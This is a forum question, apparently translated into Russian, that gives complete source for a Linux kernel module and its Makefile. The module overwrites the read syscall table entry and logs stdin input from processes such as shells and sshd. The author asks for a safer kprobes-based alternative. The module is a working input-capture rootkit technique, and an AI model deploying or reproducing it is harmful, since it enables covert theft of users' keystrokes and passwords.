Это рабочий пример захвата ввода пользователя через системный вызов ядра read
.
https://pastebin.com/K9zcSXrQ
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <linux/delay.h>
#include <linux/cred.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/types.h>
#include <linux/kfifo.h>
#include <linux/kobject.h>
#include <linux/sysfs.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#include <asm/atomic.h>
#include <asm/ptrace.h>
#define PID_MAX 4194305
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.4" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );
static bool debug = false;
static DEFINE_SPINLOCK( mLock );
static unsigned long ( *original_read ) ( const struct pt_regs *regs );
void **sct;
static unsigned long flags; // irq flags
static atomic_t LOCK_NUMBER_ATOM = ATOMIC_INIT(0);
static unsigned long long LOCK_NUMBER_ATOM_VAL;
static bool pids[ PID_MAX ];
static bool FORCE_EXIT = false; // force exit via method.
// ---------- force-exit handler -----
static struct kobject *force_exit_kobject;
static ssize_t foo_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) {
if ( strstr( buf, "exit" ) ) {
FORCE_EXIT = true;
info( "Force exit method. ");
}
return count;
}
static struct kobj_attribute foo_attribute = __ATTR( foo, S_IRUGO | S_IWUSR, NULL, foo_store );
// -------------- asm inserts -------------
static inline void rw_enable( void ) {
asm volatile ( "pushq %rax \n"
"movq %cr0, %rax \n"
"andq $0xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
static unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned long r;
unsigned long cp_user_flag;
unsigned long fd;
unsigned long strnlen_user_val;
unsigned long count;
static char tmp_buffer[ 1 ];
atomic_inc( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = true;
r = original_read( regs );
// injection:
if ( r > 0 ) {
fd = regs->di;
if ( fd == 0 ) { // fd == 0 --> stdin (sh, sshd)
strnlen_user_val = strnlen_user( (char*) regs->si, 1 );
count = regs->dx;
dbg( "strnlen_user_val: %lu\n", strnlen_user_val );
if ( strnlen_user_val > 0 && count > 0 ) {
if ( strnlen_user_val > 1 ) strnlen_user_val = 1;
cp_user_flag = copy_from_user( tmp_buffer, (char*) regs->si, strnlen_user_val );
if ( cp_user_flag == 0 ) {
info( "tmp_buffer: %s\n", tmp_buffer );
}
}
}
}
atomic_dec( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = false;
return r;
}
int hacked_read_init( void ) {
register uint64_t cr0;
int cpu;
int error = 0;
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
force_exit_kobject = kobject_create_and_add( "hacked_read_force_exit", kernel_kobj );
if( ! force_exit_kobject ) return -ENOMEM;
error = sysfs_create_file( force_exit_kobject, &foo_attribute.attr );
if ( error ) info( "failed to create the foo file in /sys/kernel/hacked_read_force_exit \n" );
info( "Module was loaded\n" );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
int cpu;
unsigned int i;
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[__NR_read] = original_read;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
while ( LOCK_NUMBER_ATOM_VAL != 0 ) {
info( "Locked. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL );
for( i = 0; i < PID_MAX; i++ ) if ( pids[ i ] ) info( "Locked. pid = %d\n", i );
msleep( 5000 );
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
if ( FORCE_EXIT ) {
info( "Force exit. Unload module..." );
break;
}
}
kobject_put( force_exit_kobject );
info( "Open. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL);
info( "Module was unloaded\n" );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
Makefile:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
@rm -f *.o .*.cmd .*.flags *.mod.c *.order
@rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
@rm -fR .tmp*
@rm -rf .tmp_versions
Я прочитал много стекового потока на topi c и нашел такое интересное мнение:
Почему вы должны реализовать системный вызов? В 99% случаев это неправильный способ достичь того, что вы пытаетесь сделать.
это от здесь .
А теперь, я ищу способ сделать тот же угон без системного вызова, не так ли? Это может быть своего рода механизм отладки ядра, что-то вроде kprobes
может дать мне тот же результат, намного более безопасный, чем текущее необработанное переопределение syscall. Кто-нибудь может дать мне рабочий образец, пожалуйста?
Другими словами, я ищу законный метод, а не взлом.